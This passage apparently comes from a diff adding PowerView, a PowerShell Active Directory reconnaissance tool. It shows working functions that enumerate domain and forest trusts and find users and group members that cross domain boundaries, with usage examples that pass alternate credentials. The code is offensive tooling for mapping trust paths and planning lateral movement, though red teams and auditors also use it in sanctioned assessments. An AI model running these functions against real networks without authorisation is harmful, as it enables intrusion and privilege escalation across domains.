$Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-DomainTrust { +<# +.SYNOPSIS + +Return all domain trusts for the current domain or a specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. + +.PARAMETER Domain + +Specifies the domain to query for trusts, defaults to the current domain. + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .LDAP methods. + +.EXAMPLE + +Get-DomainTrust -NET -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain using .NET methods + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'NON_TRANSITIVE' + [uint32]'0x00000002' = 'UPLEVEL_ONLY' + [uint32]'0x00000004' = 'FILTER_SIDS' + [uint32]'0x00000008' = 'FOREST_TRANSITIVE' + [uint32]'0x00000010' = 'CROSS_ORGANIZATION' + [uint32]'0x00000020' = 'WITHIN_FOREST' + [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' + [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' + [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' + [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' + [uint32]'0x00000400' = 'PIM_TRUST' + } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } + } + elseif ($PsCmdlet.ParameterSetName -ne 'NET') { + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } + } + + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments + + if ($TrustSearcher) { + + $TrustSearcher.Filter = '(objectClass=trustedDomain)' + + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + + $TrustType = Switch ($Props.trusttype) { + 1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' } + 2 { 'WINDOWS_ACTIVE_DIRECTORY' } + 3 { 'MIT' } + } + + $Distinguishedname = $Props.distinguishedname[0] + $SourceNameIndex = $Distinguishedname.IndexOf('DC=') + if ($SourceNameIndex) { + $SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.' + } + else { + $SourceDomain = "" + } + + $TargetNameIndex = $Distinguishedname.IndexOf(',CN=System') + if ($SourceNameIndex) { + $TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3) + } + else { + $TargetDomain = "" + } + + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + # $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0] + $DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0] + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } + $TrustSearcher.dispose() + } + } + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null + } + + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') + $_ + } + } + } + } +} + + +function Get-ForestTrust { +<# +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestTrust + +Return current forest trusts. + +.EXAMPLE + +Get-ForestTrust -Forest "external.local" + +Return trusts for the "external.local" forest. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } + + $FoundForest = Get-Forest @NetForestArguments + + if ($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') + $_ + } + } + } +} + + +function Get-DomainForeignUser { +<# +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +.DESCRIPTION + +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignUser + +Return all users in the current domain who are in groups not in the +current domain. + +.EXAMPLE + +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + Get-DomainUser @SearcherArguments | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + $UserDistinguishedName = $_.distinguishedname + $UserIndex = $UserDistinguishedName.IndexOf('DC=') + $UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $UserDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') + $ForeignUser + } + } + } + } + } +} + + +function Get-DomainForeignGroupMember { +<# +.SYNOPSIS + +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +.DESCRIPTION + +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignGroupMember + +Return all group members in the current domain where the group and member differ. + +.EXAMPLE + +Get-DomainForeignGroupMember -Domain dev.testlab.local + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + + Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + $GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) { + $MemberDistinguishedName = $_ + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } + } + } +} + + +function Get-DomainTrustMapping { +<# +.SYNOPSIS + +This function enumerates all trusts for the current domain and then enumerates +all trusts for each domain it finds. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current domain using +a number of methods, and then enumerates all trusts for each found domain, recursively +mapping all reachable trust relationships. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. If any + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the +built-in LDAP method. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using Win32 API calls and output everything to a .csv file. + +.EXAMPLE + +Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using .NET methods and output everything to a .csv file. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrustMapping -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv + +Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries +using the specified alternate credentials, and output everything to a .csv file. + +.OUTPUTS + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields (default). + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'LDAP')] + Param( + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'NET')] + [Switch] + $NET, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + 